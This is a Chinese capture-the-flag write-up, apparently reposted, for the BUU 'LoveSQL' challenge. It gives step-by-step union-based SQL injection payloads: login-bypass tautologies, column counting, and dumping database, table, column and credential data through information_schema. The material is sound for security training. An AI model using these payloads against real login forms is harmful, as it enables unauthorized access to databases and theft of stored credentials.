BUU sql注入-[极客大挑战 2019]LoveSQL
Posted 1vyyyyyy
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUU sql注入-[极客大挑战 2019]LoveSQL相关的知识,希望对你有一定的参考价值。
一、题目
梅开二度属于是
直接操作
二、解题
1. 检测注入类型
我们用两个万能密码来检测
1 or 1=1#
1' or 1=1#
第一种万能密码对应检测的是数字型注入,第二种是字符型注入(因为字符通常用两个 ' 来标记,在1之后加 ' 构成闭合)
这里我们测试结果是用第二种万能密码登录成功,那么可以判断是字符型注入
2. 注入连招(查数爆库爆表爆列)
使用union select操作
1' order by 3#
1' order by 4#
输入3不报错,到4的时候报错,那么列数就为3
再判断回显位置
1' union select 1,2,3#
可知回显位为2,3
开始爆库
1' union select 1,database(),version()#
爆表
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
我们选l0ve1ysq1这个表来爆列
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
最后就是把这些列的内容爆出来
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
拿到flag
三、总结
1. 这道题考了比较基本的sql注入技巧,主要是使用联合查询的那一套
2. information_schema这张数据表保存了mysql服务器所有数据库的信息。如数据库名,数据库 的表,表栏的数据类型与访问权限等。再简单点,这台MySQL服务器上,到底有哪些数据库、 各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息 都保存在information_schema表里面。(来源:百度知道),table_schema是数据库的名称, table_name是具体的表名,查列时要用and将这两条的信息连起来
以上是关于BUU sql注入-[极客大挑战 2019]LoveSQL的主要内容,如果未能解决你的问题,请参考以下文章